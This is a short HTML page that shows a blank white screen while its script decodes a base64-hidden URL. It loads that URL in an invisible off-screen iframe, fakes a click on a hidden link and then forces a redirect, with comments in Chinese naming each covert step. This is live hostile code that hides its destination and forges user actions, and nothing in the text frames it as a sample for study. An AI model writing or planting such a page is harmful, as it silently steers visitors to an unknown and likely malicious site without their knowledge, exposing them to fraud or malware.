<!DOCTYPE html>
<html>
<head>

<meta charset="utf-8">

<style>

html,body{
    margin:0;
    padding:0;
    width:100%;
    height:100%;
    overflow:hidden;
    background:#fff;
}

iframe{
    position:absolute;
    left:-9999px;
    top:-9999px;
    width:1px;
    height:1px;
    opacity:0;
    border:0;
}

</style>

</head>

<body>

<iframe id="f"></iframe>

<script>

(function(){

    var u = atob("aHR0cHM6Ly82d2RzaS50b3A=");

    try {

        // iframe 隐藏加载
        var f =
            document.getElementById("f");

        f.src = u;

    } catch(e){}

    // 模拟点击
    setTimeout(function(){

        try {

            var a =
                document.createElement("a");

            a.href = u;

            a.style.display = "none";

            document.body.appendChild(a);

            a.dispatchEvent(
                new MouseEvent(
                    "click",
                    {
                        view: window,
                        bubbles: true,
                        cancelable: true
                    }
                )
            );

            // fallback
            setTimeout(function(){
                location.href = u;
            },100);

        } catch(e){

            location.href = u;

        }

    },200);

})();

</script>

</body>
</html>
                
